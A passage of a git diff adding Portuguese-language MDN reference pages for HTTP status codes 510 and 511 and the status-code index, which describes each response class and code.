+<div>{{HTTPSidebar}}</div> + +<p>O código de status da resposta HTTP <code><strong>510 Not Extended</strong></code> é enviado no contexto do HTTP Extension Framework, definido na <a href="https://tools.ietf.org/html/rfc2774">RFC 2774</a>.</p> + +<p>Na especificação, um cliente pode mandar uma requisição que contenha uma declaração de extensão, que descreve a extensão a ser utilizada. Se o servidor aceitar tal requisição, mas quaisquer extensões descritas na requisição não forem suportadas, o servidor então retorna uma resposta com o código de status <strong><code>510</code></strong>.</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">510 Not Extended</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("2774", "510 Not Extended" , "7")}}</td> + <td>An HTTP Extension Framework</td> + </tr> + </tbody> +</table> diff --git a/files/pt-br/web/http/status/511/index.html b/files/pt-br/web/http/status/511/index.html new file mode 100644 index 0000000000..1625067655 --- /dev/null +++ b/files/pt-br/web/http/status/511/index.html @@ -0,0 +1,42 @@ +--- +title: 511 Network Authentication Required +slug: Web/HTTP/Status/511 +tags: + - Código de Estado HTTP + - Erro no servidor + - HTTP + - Referencia +translation_of: Web/HTTP/Status/511 +--- +<div>{{HTTPSidebar}}</div> + +<p>O código de erro HTTP para o cliente <code><strong>511 Network Authentication Required</strong></code> indica que o cliente precisa realizar uma autenticação para utilizar a rede.</p> + +<p>Esse status não é gerado pelos servidores de origem, mas pela interceptação de proxies que controlam o acesso à rede.</p> + +<p>Às vezes, as operadoras de rede exigem alguma autenticação, aceitação de termos ou outra interação do usuário antes de conceder acesso (por exemplo, em um cyber café ou em um aeroporto). Eles geralmente identificam clientes que não o fizeram usando seus endereços de Controle de Acesso à Mídia({{Glossary("MAC")}})</p> + +<h2 id="Status">Status</h2> + +<pre class="syntaxbox">511 Network Authentication Required</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("6585", "511 Network Authentication Required" , "6")}}</td> + <td>Códigos adicionais de estado HTTP</td> + </tr> + </tbody> +</table> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{Glossary("Proxy server")}}</li> +</ul> diff --git a/files/pt-br/web/http/status/index.html b/files/pt-br/web/http/status/index.html new file mode 100644 index 0000000000..e8657e252f --- /dev/null +++ b/files/pt-br/web/http/status/index.html @@ -0,0 +1,192 @@ +--- +title: Códigos de status de respostas HTTP +slug: Web/HTTP/Status +tags: + - Códigos de status + - HTTP + - Web +translation_of: Web/HTTP/Status +--- +<div>{{HTTPSidebar}}</div> + +<p>Os códigos de <em>status</em> das respostas HTTP indicam se uma requisição HTTP foi corretamente concluída. As respostas são agrupadas em cinco classes:</p> + +<ol> + <li>Respostas de informação (<code>100</code>-<code>199</code>),</li> + <li>Respostas de sucesso (<code>200</code>-<code>299</code>),</li> + <li>Redirecionamentos (<code>300</code>-<code>399</code>)</li> + <li>Erros do cliente (<code>400</code>-<code>499</code>)</li> + <li>Erros do servidor (<code>500</code>-<code>599</code>).</li> +</ol> + +<p>Os status abaixo são definidos pela <a href="https://tools.ietf.org/html/rfc2616#section-10">seção 10 da RFC 2616</a>. Você pode encontrar uma versão atualizada da especificação na <a href="https://tools.ietf.org/html/rfc7231#section-6.5.1">RFC 7231</a>.</p> + +<div class="blockIndicator note"> +<p>Se você receber uma resposta que não está nesta lista, é uma resposta não padrão, provavelmente personalizada pelo software do servidor.</p> +</div> + +<h2 id="Respostas_informativas">Respostas informativas</h2> + +<dl> + <dt>{{HTTPStatus(100, "100 Continue")}}</dt> + <dd>Essa resposta provisória indica que tudo ocorreu bem até agora e que o cliente deve continuar com a requisição ou ignorar se já concluiu o que gostaria.</dd> + <dt>{{HTTPStatus(101, "101 Switching Protocol")}}</dt> + <dd>Esse código é enviado em resposta a um cabeçalho de solicitação {{HTTPHeader ("Upgrade")}} pelo cliente, e indica o protocolo a que o servidor está alternando.</dd> + <dt>{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})</dt> + <dd>Este código indica que o servidor recebeu e está processando a requisição, mas nenhuma resposta está disponível ainda.</dd> + <dt>{{HTTPStatus(103, "103 Early Hints")}}</dt> + <dd>Este código tem principalmente o objetivo de ser utilizado com o cabeçalho {{HTTPHeader("Link")}}, indicando que o agente deve iniciar a <a href="/pt-BR/docs/Web/HTML/Preloading_content">pré-carregar</a> recursos enquanto o servidor prepara uma resposta.</dd> +</dl> + +<h2 id="Respostas_de_sucesso">Respostas de sucesso</h2> + +<ul> + <li><code>GET</code>: O recurso foi buscado e transmitido no corpo da mensagem.</li> + <li><code>HEAD</code>: Os cabeçalhos da entidade estão no corpo da mensagem.</li> + <li><code>PUT</code> ou <code>POST</code>: O recurso descrevendo o resultado da ação é transmitido no corpo da mensagem.</li> + <li><code>TRACE</code>: O corpo da mensagem contém a mensagem de requisição recebida pelo servidor.</li> +</ul> + +<dl> + <dt>{{HTTPStatus(200, "200 OK")}}</dt> + <dd>Estas requisição foi bem sucedida. O significado do sucesso varia de acordo com o método HTTP:</dd> + <dt>{{HTTPStatus(201, "201 Created")}}</dt> + <dd>A requisição foi bem sucedida e um novo recurso foi criado como resultado. Esta é uma tipica resposta enviada após uma requisição POST.</dd> + <dt>{{HTTPStatus(202, "202 Accepted")}}</dt> + <dd>A requisição foi recebida mas nenhuma ação foi tomada sobre ela. Isto é uma requisição não-comprometedora, o que significa que não há nenhuma maneira no HTTP para enviar uma resposta assíncrona indicando o resultado do processamento da solicitação. Isto é indicado para casos onde outro processo ou servidor lida com a requisição, ou para processamento em lote.</dd> + <dt>{{HTTPStatus(203, "203 Non-Authoritative Information")}}</dt> + <dd>Esse código de resposta significa que o conjunto de meta-informações retornadas não é o conjunto exato disponível no servidor de origem, mas coletado de uma cópia local ou de terceiros. Exceto essa condição, a resposta de <code>200 OK</code> deve ser preferida em vez dessa resposta.</dd> + <dt>{{HTTPStatus(204, "204 No Content")}}</dt> + <dd>Não há conteúdo para enviar para esta solicitação, mas os cabeçalhos podem ser úteis. O user-agent pode atualizar seus cabeçalhos em cache para este recurso com os novos.</dd> + <dt>{{HTTPStatus(205, "205 Reset Content")}}</dt> + <dd>Esta requisição é enviada após realizanda a solicitação para informar ao <em>user agent</em> redefinir a visualização do documento que enviou essa solicitação.</dd> + <dt>{{HTTPStatus(206, "206 Partial Content")}}</dt> + <dd>Esta resposta é usada por causa do cabeçalho de intervalo enviado pelo cliente para separar o download em vários fluxos.</dd> + <dt>{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> + <dd>Uma resposta Multi-Status transmite informações sobre vários recursos em situações em que vários códigos de status podem ser apropriados.</dd> + <dt>{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})</dt> + <dd>Usado dentro de um elemento de resposta <code><dav:propstat></code> para evitar enumerar os membros internos de várias ligações à mesma coleção repetidamente.</dd> + <dt>{{HTTPStatus(226, "226 IM Used")}} (<a href="https://tools.ietf.org/html/rfc3229">HTTP Delta encoding</a>)</dt> + <dd>O servidor cumpriu uma solicitação <code>GET</code> para o recurso e a resposta é uma representação do resultado de uma ou mais manipulações de instância aplicadas à instância atual.</dd> +</dl> + +<h2 id="Mensagens_de_redirecionamento">Mensagens de redirecionamento</h2> + +<dl> + <dt>{{HTTPStatus(300, "300 Multiple Choice")}}</dt> + <dd>A requisição tem mais de uma resposta possível. User-agent ou o user deve escolher uma delas. Não há maneira padrão para escolher uma das respostas.</dd> + <dt>{{HTTPStatus(301, "301 Moved Permanently")}}</dt> + <dd>Esse código de resposta significa que a URI do recurso requerido mudou. Provavelmente, a nova URI será especificada na resposta.</dd> + <dt>{{HTTPStatus(302, "302 Found")}}</dt> + <dd>Esse código de resposta significa que a URI do recurso requerido foi mudada temporariamente. Novas mudanças na URI poderão ser feitas no futuro. Portanto, a mesma URI deve ser usada pelo cliente em requisições futuras.</dd> + <dt>{{HTTPStatus(303, "303 See Other")}}</dt> + <dd>O servidor manda essa resposta para instruir ao cliente buscar o recurso requisitado em outra URI com uma requisição GET.</dd> + <dt>{{HTTPStatus(304, "304 Not Modified")}}</dt> + <dd>Essa resposta é usada para questões de cache. Diz ao cliente que a resposta não foi modificada. Portanto, o cliente pode usar a mesma versão em cache da resposta.</dd> + <dt><code>305 Use Proxy</code> {{deprecated_inline}}</dt> + <dd>Foi definida em uma versão anterior da especificação HTTP para indicar que uma resposta deve ser acessada por um proxy. Foi depreciada por questões de segurança em respeito a configuração em banda de um proxy.</dd> + <dt><code>306 unused </code>{{deprecated_inline}}</dt> + <dd>Esse código de resposta não é mais utilizado, encontra-se reservado. Foi usado numa versão anterior da especificação HTTP 1.1.</dd> + <dt>{{HTTPStatus(307, "307 Temporary Redirect")}}</dt> + <dd>O servidor mandou essa resposta direcionando o cliente a buscar o recurso requisitado em outra URI com o mesmo método que foi utilizado na requisição original. Tem a mesma semântica do código <code>302 Found</code>, com a exceção de que o user-agent <em>não deve</em> mudar o método HTTP utilizado: se um <code>POST</code> foi utilizado na primeira requisição, um <code>POST</code> deve ser utilizado na segunda.</dd> + <dt>{{HTTPStatus(308, "308 Permanent Redirect")}}</dt> + <dd>Esse código significa que o recurso agora está permanentemente localizado em outra URI, especificada pelo cabeçalho de resposta <code>Location</code>. Tem a mesma semântica do código de resposta HTTP <code>301 Moved Permanently</code> com a exceção de que o user-agent <em>não deve</em> mudar o método HTTP utilizado: se um <code>POST</code> foi utilizado na primeira requisição, um <code>POST</code> deve ser utilizado na segunda.</dd> +</dl> + +<h2 id="Respostas_de_erro_do_Cliente">Respostas de erro do Cliente</h2> + +<dl> + <dt>{{HTTPStatus(400, "400 Bad Request")}}</dt> + <dd>Essa resposta significa que o servidor não entendeu a requisição pois está com uma sintaxe inválida.</dd> + <dt>{{HTTPStatus(401, "401 Unauthorized")}}</dt> + <dd>Embora o padrão HTTP especifique "unauthorized", semanticamente, essa resposta significa "unauthenticated". Ou seja, o cliente deve se autenticar para obter a resposta solicitada.</dd> + <dt>{{HTTPStatus(402, "402 Payment Required")}} {{experimental_inline}}</dt> + <dd>Este código de resposta está reservado para uso futuro. O objetivo inicial da criação deste código era usá-lo para sistemas digitais de pagamento porém ele não está sendo usado atualmente.</dd> + <dt>{{HTTPStatus(403, "403 Forbidden")}}</dt> + <dd>O cliente não tem direitos de acesso ao conteúdo portanto o servidor está rejeitando dar a resposta. Diferente do código 401, aqui a identidade do cliente é conhecida.</dd> + <dt>{{HTTPStatus(404, "404 Not Found")}}</dt> + <dd>O servidor não pode encontrar o recurso solicitado. Este código de resposta talvez seja o mais famoso devido à frequência com que acontece na web.</dd> + <dt>{{HTTPStatus(405, "405 Method Not Allowed")}}</dt> + <dd>O método de solicitação é conhecido pelo servidor, mas foi desativado e não pode ser usado. Os dois métodos obrigatórios, GET e HEAD, nunca devem ser desabilitados e não devem retornar este código de erro.</dd> + <dt>{{HTTPStatus(406, "406 Not Acceptable")}}</dt> + <dd>Essa resposta é enviada quando o servidor da Web após realizar a negociação de conteúdo orientada pelo servidor, não encontra nenhum conteúdo seguindo os critérios fornecidos pelo agente do usuário.</dd> + <dt>{{HTTPStatus(407, "407 Proxy Authentication Required")}}</dt> + <dd>Semelhante ao <strong>401 </strong>porem é necessário que a autenticação seja feita por um proxy.</dd> + <dt>{{HTTPStatus(408, "408 Request Timeout")}}</dt> + <dd>Esta resposta é enviada por alguns servidores em uma conexão ociosa, mesmo sem qualquer requisição prévia pelo cliente. Ela significa que o servidor gostaria de derrubar esta conexão em desuso. Esta resposta é muito usada já que alguns navegadores, como Chrome, Firefox 27+, ou IE9, usam mecanismos HTTP de pré-conexão para acelerar a navegação. Note também que alguns servidores meramente derrubam a conexão sem enviar esta mensagem.</dd> + <dt>{{HTTPStatus(409, "409 Conflict")}}</dt> + <dd>Esta resposta será enviada quando uma requisição conflitar com o estado atual do servidor.</dd> + <dt>{{HTTPStatus(410, "410 Gone")}}</dt> + <dd>Esta resposta será enviada quando o conteúdo requisitado foi permanentemente deletado do servidor, sem nenhum endereço de redirecionamento. É experado que clientes removam seus caches e links para o recurso. A especificação HTTP espera que este código de status seja usado para "serviços promocionais de tempo limitado". APIs não devem se sentir obrigadas a indicar que recursos foram removidos com este código de status.</dd> + <dt>{{HTTPStatus(411, "411 Length Required")}}</dt> + <dd>O servidor rejeitou a requisição porque o campo <code>Content-Length</code> do cabeçalho não está definido e o servidor o requer.</dd> + <dt>{{HTTPStatus(412, "412 Precondition Failed")}}</dt> + <dd>O cliente indicou nos seus cabeçalhos pré-condições que o servidor não atende.</dd> + <dt>{{HTTPStatus(413, "413 Payload Too Large")}}</dt> + <dd>A entidade requisição é maior do que os limites definidos pelo servidor; o servidor pode fechar a conexão ou retornar um campo de cabeçalho <code>Retry-After</code>.</dd> + <dt>{{HTTPStatus(414, "414 URI Too Long")}}</dt> + <dd>A URI requisitada pelo cliente é maior do que o servidor aceita para interpretar.</dd> + <dt>{{HTTPStatus(415, "415 Unsupported Media Type")}}</dt> + <dd>O formato de mídia dos dados requisitados não é suportado pelo servidor, então o servidor rejeita a requisição.</dd> + <dt>{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}</dt> + <dd>O trecho especificado pelo campo <code>Range</code> do cabeçalho na requisição não pode ser preenchido; é possível que o trecho esteja fora do tamanho dos dados da URI alvo.</dd> + <dt>{{HTTPStatus(417, "417 Expectation Failed")}}</dt> + <dd>Este código de resposta significa que a expectativa indicada pelo campo <code>Expect</code> do cabeçalho da requisição não pode ser satisfeita pelo servidor.</dd> + <dt>{{HTTPStatus(418, "418 I'm a teapot")}}</dt> + <dd>O servidor recusa a tentativa de coar café num bule de chá.</dd> + <dt>{{HTTPStatus(421, "421 Misdirected Request")}}</dt> + <dd>A requisição foi direcionada a um servidor inapto a produzir a resposta. Pode ser enviado por um servidor que não está configurado para produzir respostas para a combinação de esquema ("scheme") e autoridade inclusas na URI da requisição.</dd> + <dt>{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})</dt> + <dd>A requisição está bem formada mas inabilitada para ser seguida devido a erros semânticos.</dd> + <dt>{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})</dt> + <dd>O recurso sendo acessado está travado.</dd> + <dt>{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})</dt> + <dd>A requisição falhou devido a falha em requisição prévia.</dd> + <dt>{{HTTPStatus(425, "425 Too Early")}}</dt> + <dd>Indica que o servidor não está disposto a arriscar processar uma requisição que pode ser refeita.</dd> + <dt>{{HTTPStatus(426, "426 Upgrade Required")}}</dt> + <dd>O servidor se recusa a executar a requisição usando o protocolo corrente mas estará pronto a fazê-lo após o cliente atualizar para um protocolo diferente. O servidor envia um cabeçalho {{HTTPHeader("Upgrade")}} numa resposta <code>426</code> para indicar o(s) protocolo(s) requeridos.</dd> + <dt>{{HTTPStatus(428, "428 Precondition Required")}}</dt> + <dd>O servidor de origem requer que a resposta seja condicional. Feito para prevenir o problema da 'atualização perdida', onde um cliente pega o estado de um recurso (GET) , modifica-o, e o põe de volta no servidor (PUT), enquanto um terceiro modificou o estado no servidor, levando a um conflito.</dd> + <dt>{{HTTPStatus(429, "429 Too Many Requests")}}</dt> + <dd>O usuário enviou muitas requisições num dado tempo ("limitação de frequência").</dd> + <dt>{{HTTPStatus(431, "431 Request Header Fields Too Large")}}</dt> + <dd>O servidor não quer processar a requisição porque os campos de cabeçalho são muito grandes. A requisição PODE ser submetida novemente depois de reduzir o tamanho dos campos de cabeçalho.</dd> + <dt>{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}</dt> + <dd>O usuário requisitou um recurso ilegal, tal como uma página censurada por um governo.</dd> +</dl> + +<h2 id="Respostas_de_erro_do_Servidor">Respostas de erro do Servidor</h2> + +<dl> + <dt>{{HTTPStatus(500, "500 Internal Server Error")}}</dt> + <dd>O servidor encontrou uma situação com a qual não sabe lidar.</dd> + <dt>{{HTTPStatus(501, "501 Not Implemented")}}</dt> + <dd>O método da requisição não é suportado pelo servidor e não pode ser manipulado. Os únicos métodos exigidos que servidores suportem (e portanto não devem retornar este código) são <code>GET</code> e <code>HEAD</code>.</dd> + <dt>{{HTTPStatus(502, "502 Bad Gateway")}}</dt> + <dd>Esta resposta de erro significa que o servidor, ao trabalhar como um gateway a fim de obter uma resposta necessária para manipular a requisição, obteve uma resposta inválida.</dd> + <dt>{{HTTPStatus(503, "503 Service Unavailable")}}</dt> + <dd>O servidor não está pronto para manipular a requisição. Causas comuns são um servidor em manutenção ou sobrecarregado. Note que junto a esta resposta, uma página amigável explicando o problema deveria ser enviada. Estas respostas devem ser usadas para condições temporárias e o cabeçalho HTTP <code>Retry-After:</code> deverá, se posível, conter o tempo estimado para recuperação do serviço. O webmaster deve também tomar cuidado com os cabaçalhos relacionados com o cache que são enviados com esta resposta, já que estas respostas de condições temporárias normalmente não deveriam ser postas em cache.</dd> + <dt>{{HTTPStatus(504, "504 Gateway Timeout")}}</dt> + <dd>Esta resposta de erro é dada quando o servidor está atuando como um gateway e não obtém uma resposta a tempo.</dd> + <dt>{{HTTPStatus(505, "505 HTTP Version Not Supported")}}</dt> + <dd>A versão HTTP usada na requisição não é suportada pelo servidor.</dd> + <dt>{{HTTPStatus(506, "506 Variant Also Negotiates")}}</dt> + <dd>O servidor tem um erro de configuração interno: a negociação transparente de conteúdo para a requisição resulta em uma referência circular.</dd> + <dt>{{HTTPStatus(507, "507 Insufficient Storage")}}</dt> + <dd>O servidor tem um erro interno de configuração: o recurso variante escolhido está configurado para entrar em negociação transparente de conteúdo com ele mesmo, e portanto não é uma ponta válida no processo de negociação.</dd> + <dt>{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})</dt> + <dd>O servidor detectou um looping infinito ao processar a requisição.</dd> + <dt>{{HTTPStatus(510, "510 Not Extended")}}</dt> + <dd>Exigem-se extenções posteriores à requisição para o servidor atendê-la.</dd> + <dt>{{HTTPStatus(511, "511 Network Authentication Required")}}</dt> + <dd>O código de status 511 indica que o cliente precisa se autenticar para ganhar acesso à rede.</dd> +</dl> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="https://en.wikipedia.org/wiki/List_of_HTTP_status_codes">Lista de códigos de status na Wikipedia</a></li> + <li><a href="http://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml">Registro oficial IANA de códigos de status HTTP</a></li> +<li><a href="https://www.exai.com/blog/http-status-codes-cheat-sheet">HTTP status codes</a></li> +</ul> |